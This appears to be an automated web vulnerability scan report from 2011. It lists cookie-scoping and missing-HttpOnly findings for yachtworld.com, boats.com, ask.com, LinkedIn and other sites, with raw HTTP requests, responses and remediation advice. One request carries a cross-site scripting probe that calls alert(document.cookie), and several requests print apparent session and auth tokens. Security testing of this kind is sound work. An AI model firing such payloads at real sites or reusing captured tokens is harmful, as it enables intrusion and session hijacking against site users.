HTTP/1.1 302 Found Date: Thu, 27 Jan 2011 19:16:55 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; Expires=Tue, 26 Jan 2016 19:16:55 GMT; Domain=.yachtworld.com; Path=/ Location: http://metrics.yachtworld.com/b/ss/deyachtworld/1/H.17/s48372025459539?AQB=1&pccr=true&vidn=26A0E25385162B05-600001A6003F61D3&&ndh=1&t=27/0/2011%2013%3A17%3A16%204%20360&ce=ISO-8859-1&ns=dominionenterprises&g=http%3A//www.yachtworld.com/core/listing/cache/pl_search_results.jsp%3Fywo%3Dstarlingmarine%26ps%3D50%26type%3D%26new%3D%26luom%3D126%26hosturl%3Dstarlingmarine%26page%3Dbroker%26slim%3Dbroker%26lineonly&r=http%3A//www.starlingmarine.com/used-new-boats-wilmington-morehead-nc.html&cc=USD&ch=BrokerWebSites&events=event2&c22=2%3A15PM&v22=2%3A15PM&c23=Thursday&v23=Thursday&c24=Weekday&v24=Weekday&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=713&bh=1200&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 X-C: ms-4.3.1 Expires: Wed, 26 Jan 2011 19:16:55 GMT Last-Modified: Fri, 28 Jan 2011 19:16:55 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www648 Content-Length: 0 Content-Type: text/plain
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
s_vi=[CS]v1|26A0FFE785012E5B-6000010D80001CDA[CE]; Expires=Tue, 26 Jan 2016 23:29:19 GMT; Domain=.yachtworld.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/deyachtworld/1/H.17/s59107670621015?AQB=1&ndh=1&t=27/0/2011%2017%3A29%3A54%204%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=transport_application&g=http%3A//www.boats.com/boat-transport/index.jsp%3Fsource%3Dyachtworld%26yw_country%3DUS33d06%27%253balert%28document.cookie%29//ec734b2bd35&cc=USD&c28=transport_application%3AKForm%3A%28No%20Data%20Entered%29&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&pe=lnk_o&pev1=http%3A//www.boats.com/boat-transport/%23&pev2=Form%20Analysis&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.boats.com/boat-transport/index.jsp?source=yachtworld&yw_country=US33d06'%3balert(document.cookie)//ec734b2bd35 Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Date: Thu, 27 Jan 2011 23:29:19 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|26A0FFE785012E5B-6000010D80001CDA[CE]; Expires=Tue, 26 Jan 2016 23:29:19 GMT; Domain=.yachtworld.com; Path=/ Location: http://metrics.yachtworld.com/b/ss/deyachtworld/1/H.17/s59107670621015?AQB=1&pccr=true&vidn=26A0FFE785012E5B-6000010D80001CDA&&ndh=1&t=27/0/2011%2017%3A29%3A54%204%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=transport_application&g=http%3A//www.boats.com/boat-transport/index.jsp%3Fsource%3Dyachtworld%26yw_country%3DUS33d06%27%253balert%28document.cookie%29//ec734b2bd35&cc=USD&c28=transport_application%3AKForm%3A%28No%20Data%20Entered%29&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&pe=lnk_o&pev1=http%3A//www.boats.com/boat-transport/%23&pev2=Form%20Analysis&AQE=1 X-C: ms-4.3.1 Expires: Wed, 26 Jan 2011 23:29:19 GMT Last-Modified: Fri, 28 Jan 2011 23:29:19 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www108 Content-Length: 0 Content-Type: text/plain
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /?o=0&l=dir HTTP/1.1 Host: www.ask.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /about HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /about/legal/privacy HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /about/legal/terms HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /advertise HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ans?qsrc=&o=0&l=dir&q=regulator+boat HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /answers HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /answers/000/Notification HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /homepage?q=&o=0&l=dir&page=1 HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pictures?qsrc=167&o=0&l=dir&q=regulator+boat&v=14 HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pictureslanding HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /questionoftheday HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /settings HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /skins HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /web?q=Which+American+Idol+has+sold+the+most+albums%3F&gc=1&qsrc=3045&o=0&l=dir&qqa=Chris+Daughtry HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /webadvanced HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /secure/login HTTP/1.1 Host: www.linkedin.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_MC_QH_MFP=ffffffffaf19965645525d5f4f58455e445a4a42198c; bcookie="v=1&d94e49db-3c23-4a26-a29f-2bc2d85c808d"; JSESSIONID="ajax:2350077440714366421"; leo_auth_token="GST:UJWUmX2WB6UBWvbQG9tU456hlj942-5NnJhAM36W6e3C5Y4NH21kQQ:1296155990:5ed64d4d5f57e19d1092d1eaf1f4a8bd26dd7b76"; visit=G; s_leo_auth_token="delete me"; lang="v=2&lang=en&c=";
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CAO DSP COR CUR ADMi DEVi TAIi PSAi PSDi IVAi IVDi CONi OUR DELi SAMi UNRi PUBi OTRi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT POL PRE" Expires: 0 Pragma: no-cache Cache-control: no-cache, must-revalidate, max-age=0 Set-Cookie: leo_auth_token="GST:UJWUmX2WB6UBWvbQG9tU456hlj942-5NnJhAM36W6e3C5Y4NH21kQQ:1296157780:09b133123a2fbbc6043a62ea9705fc511cdd3aa9"; Version=1; Max-Age=1799; Expires=Thu, 27-Jan-2011 20:19:39 GMT; Path=/ Set-Cookie: lang="v=2&lang=en&c="; Version=1; Domain=linkedin.com; Path=/ Content-Type: text/html;charset=UTF-8 Date: Thu, 27 Jan 2011 19:49:39 GMT Set-Cookie: NSC_MC_QH_MFP=ffffffffaf19965645525d5f4f58455e445a4a421968;expires=Thu, 27-Jan-2011 20:19:49 GMT;path=/;httponly Content-Length: 12214
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
bblastvisit=1296157791; expires=Fri, 27 Jan 2012 19:49:51 GMT; path=/; domain=.reel-time.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /forum/showthread.php HTTP/1.1 Host: www.reel-time.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- BEGIN TEMPLATE: STANDARD_ERROR -->
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /i/i.gif?t=v&d=us&s=a&c=h&l=dir&o=0&sv=0a5c404a&p=homepage&ord=7097259 HTTP/1.1 Host: wzus1.ask.com Proxy-Connection: keep-alive Referer: http://www.ask.com/?o=0&l=dir Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cu.wz=0; tbe=1; accepting=1; user=o=0&l=dir; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://wzus1.ask.com/i/i.gif?t=S&d=us&s ...[SNIP]...
9. Cookie without HttpOnly flag setpreviousnext There are 70 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boat-transport/index.jsp HTTP/1.1 Host: www.boats.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head><script>var __$1a49={BaseUrl:(("https:"==document.location.protocol)?"https:":"http:")+"//analytics.strangeloopnetworks.com/",Gi ...[SNIP]...
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boat-transport/index.jsp?source=yachtworld&yw_country=US HTTP/1.1 Host: www.boats.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head><script>var __$1a49={BaseUrl:(("https:"==document.location.protocol)?"https:":"http:")+"//analytics.strangeloopnetworks.com/",Gi ...[SNIP]...
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pboats/browse/Make/Regulator/search.html HTTP/1.1 Host: www.boatxchange.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:43:29 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8n PHP/5.2.3 mod_jk/1.2.30 Set-Cookie: JSESSIONID=F9EB4170B90548636802CC9D85DA196C.tomcat1; Path=/pboats Content-Language: en Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html;charset=ISO-8859-1 Content-Length: 39986
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <?xml version="1.0" encoding="iso-8859-1"?><html xmlns="http://www.w3.org/199 ...[SNIP]...
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /secure/login?session_full_logout=&trk=hb_signout&r= HTTP/1.1 Host: www.linkedin.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_MC_QH_MFP=ffffffffaf19965645525d5f4f58455e445a4a42198c; bcookie="v=1&d94e49db-3c23-4a26-a29f-2bc2d85c808d"; JSESSIONID="ajax:2350077440714366421"; leo_auth_token="GST:UJWUmX2WB6UBWvbQG9tU456hlj942-5NnJhAM36W6e3C5Y4NH21kQQ:1296155990:5ed64d4d5f57e19d1092d1eaf1f4a8bd26dd7b76"; visit=G; s_leo_auth_token="delete me"; lang="v=2&lang=en&c=";
Response
